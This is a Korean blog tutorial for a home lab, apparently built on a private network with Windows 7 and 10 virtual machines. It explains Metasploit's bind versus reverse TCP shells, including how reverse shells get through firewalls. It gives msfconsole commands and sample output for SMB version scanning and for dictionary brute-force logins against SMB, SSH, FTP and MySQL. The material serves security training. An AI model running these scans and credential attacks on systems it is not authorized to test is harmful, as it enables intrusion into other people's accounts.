시스템보안

Metasploit을 사용한 Scan, Brute Force Attack에 대하여

JustSangRok 2026. 7. 2. 16:20

Metasploit을 사용한 Attack

실습 환경

Kali Linux (공격자)

Windows 7  (SMB1.0 취약점 사용) / Windows 10


1. Metasploit이란

Metasploit은 공격 코드(Exploit), 페이로드(Payload), 인코더, 스캔 도구, 보안 테스팅 등을 제공하는 취약점 진단 및 침투 테스트 프레임워크다. Kali Linux에는 기본으로 설치되어 있다.

특징

● 정보 수집 → 공격(Exploit) → 후속 작업까지, 침투의 전 과정을 모듈 단위로 제공한다

● 취약점 점검·포트 스캐너 같은 외부 모듈 기능을 쓸 수 있고, 결과를 DB에 저장한다

● msfconsole 안에서 외부 명령어(ping, nmap 등)를 그대로 사용할 수 있다


2. 용어 정리

 

용어 의미
Exploit 시스템·애플리케이션·서버의 취약점을 악용하는 방법(공격 코드)
Payload 취약점을 뚫은 뒤 대상에서 실제로 실행할 코드 (프레임워크가 전달)
Shellcode Payload에 사용되는 명령어의 집합 (기계어 형태의 코드)
Module Metasploit 프레임워크에서 사용되는 기능 단위 소프트웨어

 


3. Bind TCP vs Reverse TCP 

Payload가 대상 시스템에서 실행되면, 공격자는 그 시스템과 통신 채널(shell)을 열어야 한다. 이때 누가 먼저 연결을 거느냐에 따라 Bind TCP와 Reverse TCP로 나뉜다. 이 개념은 Metasploit뿐 아니라 침투 테스트 전반에서 계속 나오는 기본기다.

Bind TCP — 공격자가 대상에게 연결

대상 시스템이 특정 포트를 열어놓고 기다리고(listen), 공격자가 그 포트로 접속하는 방식이다.

                  ① 대상이 포트를 열고 대기 (예: 4444번 listen)
[Attacker]  ──────── ② 공격자가 그 포트로 연결 ────────►  [Target : 4444]
                     (연결을 거는 쪽 = 공격자)

문제는 현대 대부분의 대상이 방화벽·NAT 뒤에 있다는 점이다. 방화벽은 기본적으로 바깥에서 안으로 들어오는(inbound) 연결을 차단한다. 그래서 공격자가 대상의 열린 포트로 접속하려 해도 방화벽에 막히는 경우가 많다. Bind 페이로드는 공격자가 대상의 열린 포트로 연결을 거는 방식이라, 그 트래픽이 방화벽을 통과할 수 있어야 하고, 외부에 노출된 시스템이나 세그먼트가 잘 나뉜 환경에서는 효과를 보기 어렵다.

또 대상에 포트가 열려 있다는 건 제3자에게도 그 포트가 보인다는 뜻이라, 흔적이 남고 다른 공격자에게 발견될 수도 있다.

Reverse TCP — 대상이 공격자에게 연결

공격자가 자기 쪽에서 listener(handler)를 열고 기다리고, 대상 시스템이 공격자에게 먼저 연결을 걸어오는 방식이다.

                  ① 공격자가 handler를 열고 대기 (예: 4444번 listen)
[Attacker : 4444]  ◄──────── ② 대상이 공격자에게 연결 ────────  [Target]
                     (연결을 거는 쪽 = 대상)

이게 강력한 이유는 방화벽의 동작 방식 때문이다. 방화벽은 보통 안으로 들어오는(inbound) 트래픽에는 엄격하지만, 밖으로 나가는(outbound) 트래픽에는 훨씬 관대하다. 대상 입장에서 공격자에게 거는 연결은 outbound라서 방화벽을 자연스럽게 빠져나간다. 게다가 Reverse shell은 80·443 같은 흔한 포트를 쓸 수 있어서, 내부망에서 외부로 나가는 연결에 대개 허용되는 이 포트들을 이용해 방화벽 제한을 우회할 수 있다.

정리

구분 Bind TCP Reverse TCP

연결 방향 공격자 → 대상 대상 → 공격자
Listen 주체 대상 (포트를 염) 공격자 (handler를 염)
방화벽/NAT inbound 차단에 막히기 쉬움 outbound라 통과하기 쉬움
노출 대상에 포트가 열려 흔적이 남음 대상에 열린 포트 없음, 은밀함
대표 payload .../bind_tcp .../reverse_tcp

실무에서는 Reverse TCP가 압도적으로 많이 쓰인다. 대상이 방화벽·NAT 뒤에 있는 게 일반적이라 Bind는 잘 안 통하기 때문이다. 다만 공격자 쪽이 listener를 열 수 없는 특수한 상황(공격자도 NAT 뒤에 있어서 대상이 공격자에게 못 오는 경우 등)에서는 Bind를 쓰기도 한다.


4. PostgreSQL DB 연결

Metasploit은 스캔·크리덴셜 결과를 PostgreSQL DB에 저장해서 관리한다. 처음 한 번만 초기화해주면 된다.

msfdb init

한 번 해두면 재부팅해도 연결이 유지된다. 이후 msfconsole로 콘솔에 진입한다.

msfconsole

위에 그림은 메타스플로잇을 킬 때마다 바뀌어서 보는 재미가 있다.


5. 기본 사용법

모듈을 찾을 때는 search를 쓴다.

msf > search scanner        # 스캐너 관련 모듈 검색

엄청나게 많은 서비스가 있다.

 

명령어가 기억 안 나면 help를 치면 된다. 모듈을 선택한 뒤 상위로 돌아가고 싶으면 back.


6.  SMB 스캐닝

먼저 대상 네트워크에 어떤 Windows가 살아있는지, SMB 버전이 뭔지 파악한다.

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.0/24     # 단일 IP도, C클래스 대역 전체도 지정 가능
set threads 64
options                        # 설정값 확인
run

설정한 것들이 옵션에 잘 들어가있는 것을 볼 수 있다.

 

결과 예시.

[+] 192.168.10.203:445  - Host is running Windows 10 Enterprise Evaluation (build: 17134)
[+] 192.168.10.204:445  - Host is running Windows 7 Ultimate SP1 (build: 7601)

 

smb_version은 대상의 SMB 프로토콜 버전과 기능을 핑거프린팅한다. 대상이 SMBv1을 지원할 때만 호스트 OS 정보(Windows 버전 등)까지 알아낼 수 있다. 위 결과에서 OS까지 뜬다는 건 그 대상들이 SMBv1을 켜두고 있다는 뜻이고, 이건 곧 EternalBlue 같은 취약점의 후보가 된다는 신호다.


7. SMB 무작위 대입 (Brute Force)

1) 테스트 계정 준비

먼저 대상(Windows) 관리자 cmd에서 실습용 계정을 하나 만든다.

(관리자 실행 권한으로 cmd를 열어야 한다)

net user pse1 123456 /add

2) 단일 계정 로그인 시도

use auxiliary/scanner/smb/smb_login
set CreateSession true
set rhosts 192.168.10.203
set SMBUser pse1
set SMBPass 123456
run

이것도 잘 들어가 있는 모습

결과.

[+] 192.168.10.203:445 - Success: '.\pse1:123456'

set CreateSession true는 Metasploit 6.4에서 추가된 기능이다. 원래 smb_login은 "로그인 되는지 확인"만 했는데, 이 옵션을 켜면 로그인 성공 시 SMB 인스턴스와 상호작용 가능한 세션을 바로 열어준다. 세션 안에서 파일 목록 보기(ls), 업로드/다운로드 등이 가능하다. 

smb_login은 실패한 로그인 시도가 대상 Windows의 이벤트 로그에 그대로 남는다. 

3) 사전 파일(Password List)을 사용한 공격

암호 후보를 파일로 만들어두고 대입한다.

set pass_file /root/pse1/pass.txt     # 암호 목록 파일 지정
set --clear SMBPass                          # 앞서 직접 지정한 암호(123456)를 해제
run

옵션값을 지울 때는 set --clear 옵션명을 쓴다. 원래 Metasploit에서는 unset 옵션명이 이 역할을 했는데, 최근 버전에서 set이 --clear 같은 플래그를 받도록 바뀌면서 지금은 unset을 치면 "set --clear를 쓰라"는 안내가 뜬다. 

여기서 SMBPass를 지우지 않으면 123456이 계속 우선 적용돼서 사전 파일이 무시될 수 있다.

결과.

[-] 192.168.10.204:445 - Failed: '.\pse1:345'
[-] 192.168.10.204:445 - Failed: '.\pse1:8654'
[-] 192.168.10.204:445 - Failed: '.\pse1:398'
[+] 192.168.10.204:445 - Success: '.\pse1:123456'
[*] SMB session 3 opened (192.168.10.250:44987 -> 192.168.10.204:445)

4) 계정명도 사전 파일 사용

암호뿐 아니라 계정명도 목록으로 넣을 수 있다.

set --clear SMBUser
set user_file /root/pse1/user.txt     # 대상 계정 목록 지정
run

이러면 계정명 × 암호 조합을 전부 사전 파일로 대입하게 된다.


8. 다른 서비스에도 같은 패턴 적용

SMB에서 익힌 "version 스캔 → login 무작위 대입" 패턴은 다른 서비스에도 거의 그대로 적용된다.

SSH

# 버전 스캔
use auxiliary/scanner/ssh/ssh_version
set rhosts 192.168.10.50
run

# 무작위 대입
use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.10.50
set user_file /root/pse1/user.txt
set pass_file /root/pse1/pass.txt
run

FTP / MySQL

SMB scanner/smb/smb_version scanner/smb/smb_login
SSH scanner/ssh/ssh_version scanner/ssh/ssh_login
FTP scanner/ftp/ftp_version scanner/ftp/ftp_login
MySQL scanner/mysql/mysql_version scanner/mysql/mysql_login

성공 시 즉시 멈추기

set stop_on_success true

이 옵션을 켜면 hydra처럼 패스워드를 찾는 순간 그 대상에 대한 시도를 멈춘다. 불필요한 로그인 시도(=로그 노이즈)를 줄일 수 있다.